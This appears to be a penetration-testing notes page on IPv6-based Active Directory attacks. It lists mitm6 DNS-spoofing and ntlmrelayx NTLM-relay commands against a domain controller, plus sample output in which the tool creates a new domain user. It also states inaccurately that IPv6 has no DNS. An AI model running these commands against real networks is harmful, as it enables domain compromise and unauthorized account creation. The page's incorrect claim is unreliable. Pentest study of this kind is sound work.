> For the complete documentation index, see [llms.txt](https://csbygb.gitbook.io/pentips/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://csbygb.gitbook.io/pentips/windows/attacking-ad/ipv6-attacks.md).

# IPv6 Attacks

There's no dns for IPv6 (only for IPv4) so we can spoof it with mitm6

## Mitm6

* Fetch it [here](https://github.com/dirkjanm/mitm6)
* mitm6 command `mitm6 -d domain-name.local`
* ntlmrelay `ntlmrelayx.py -6 -t ldaps://DOMAIN-CONTROLLER-IP -wh fakewpad.domain.local -l lootme`
* Once the attack is successful we get a folder lootme with plenty of info from the DC
* If during the attack and admin logs in win 10 machine, mitm6 will create a new user for us: `[*] Adding new user with username: YrAjkDnwzM and password: SHq]d(88dr%5+3R result: OK`

### Mitm6 - Resources

{% embed url="<https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/>" %}
Mitm6
{% endembed %}

{% embed url="<https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/>" %}
Combining NTLM Relaying and Kerberos delegation
{% endembed %}